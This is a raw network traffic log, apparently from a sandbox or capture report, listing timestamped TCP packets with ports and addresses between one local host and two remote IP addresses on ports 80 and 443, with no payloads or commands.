Nov 18, 2024 02:34:28.204209089 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204211950 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204220057 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204231977 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204233885 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204246044 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204257965 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204267979 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204279900 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204279900 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204279900 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204291105 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204303980 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204314947 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204327106 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204327106 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204327106 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204340935 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204350948 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204361916 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204371929 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204371929 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204372883 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204385996 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204396963 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204407930 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204418898 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204418898 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204418898 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204432011 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204443932 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204454899 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204478025 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204479933 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204479933 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204525948 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204583883 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204710960 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204722881 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204734087 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204746008 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204756975 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204766989 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204777002 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204782009 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204791069 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204802036 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204813004 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204823017 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204833984 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204833984 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204843044 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204864979 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204865932 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204876900 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204889059 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204895973 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204900026 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204916000 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204926968 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204936981 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204947948 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204948902 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204948902 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204961061 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204977036 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204988003 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.204988956 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.204988956 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205040932 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205055952 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205060005 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205077887 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205080986 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205094099 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205106020 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205116034 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205120087 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205131054 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205142021 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205152035 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205163956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205173016 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205173016 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205174923 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205188990 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205199957 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205212116 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205221891 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205221891 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205221891 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205235958 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205246925 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205257893 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205277920 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205277920 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205284119 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205296040 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205307007 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205318928 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205327988 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205327988 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205476046 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205513954 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205526114 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205537081 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205548048 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205558062 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205569983 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205581903 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205594063 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205600023 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205600023 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205605984 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205619097 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.205693960 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.205837011 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.238604069 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243499041 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243530989 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243542910 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243558884 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243577003 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243587017 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243597031 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243607998 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243618965 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243632078 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243632078 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243669033 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243680000 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243688107 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243690014 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243700981 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243721962 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243731976 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243743896 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243752956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243761063 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243765116 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243782997 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243793964 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243803978 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243804932 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243804932 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243813992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243824005 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243835926 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243845940 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243854046 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243854046 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243863106 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243882895 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243882895 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243930101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243940115 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243949890 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243959904 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243969917 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243979931 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243989944 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243999958 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.243999958 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.243999958 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244009972 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244029045 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244043112 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244043112 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244046926 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244057894 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244069099 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244086027 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244096994 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244106054 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244106054 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244107962 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244118929 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244127989 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244137049 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244143963 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244148016 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244160891 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244225979 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244237900 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244247913 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244257927 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244257927 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244268894 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244278908 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244286060 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244286060 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244298935 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244316101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244327068 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244337082 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244337082 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244337082 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244348049 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244359016 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244368076 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244378090 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244389057 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244389057 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244396925 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244407892 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244416952 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244427919 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244431973 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244431973 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244446039 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244648933 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244659901 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244669914 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244688988 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244709969 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244709969 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244745016 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244755983 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244765997 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244776011 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244792938 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.244812965 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.244812965 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.245073080 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.287542105 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.288558960 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.414288998 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.415340900 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.415374041 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.415602922 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.415610075 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.499022007 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.502567053 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.502595901 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.504575968 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.504595041 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.545520067 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.545732021 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.547163963 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.617858887 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.617858887 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.617897034 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.617912054 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.629596949 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.629755020 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.629965067 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.664005995 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.664032936 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.664046049 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.664052963 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.708739042 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.708828926 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.709023952 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.710639954 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.710675001 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.710798025 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.710846901 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.710864067 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.711185932 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.711220026 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.814198971 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.855628014 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.923986912 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.941346884 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.941376925 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.948327065 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.950489998 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.950515985 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.965548992 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.996232033 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.997884989 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.997895956 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.998472929 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.998480082 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.998645067 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.998667955 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.999119043 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.999129057 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.075417995 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.075443983 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.075545073 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.075651884 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.075653076 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.105346918 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.105386972 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.105406046 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.105416059 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.124555111 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.125241995 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.125304937 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.126609087 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.126673937 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.126744986 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.143356085 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.143356085 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.143395901 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.143413067 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.144871950 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.144871950 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.144884109 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.144896030 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.147619009 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.147670031 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.147845030 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.149564028 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.149657965 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.149729967 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.149785995 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.149797916 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.150454044 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.150485039 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.153140068 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.153172970 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.153309107 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.154036999 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.154046059 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.446821928 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.453927994 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.463340044 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.463376999 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.463712931 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.463713884 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.463720083 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.463727951 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.464364052 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.464369059 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.588855028 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.588906050 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.588973045 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.589032888 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.589036942 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.589050055 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.589097977 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.589103937 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.589495897 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.610049009 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.610049009 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.610073090 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.610084057 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.610152006 CET	49802	443	192.168.2.6	13.107.246.45
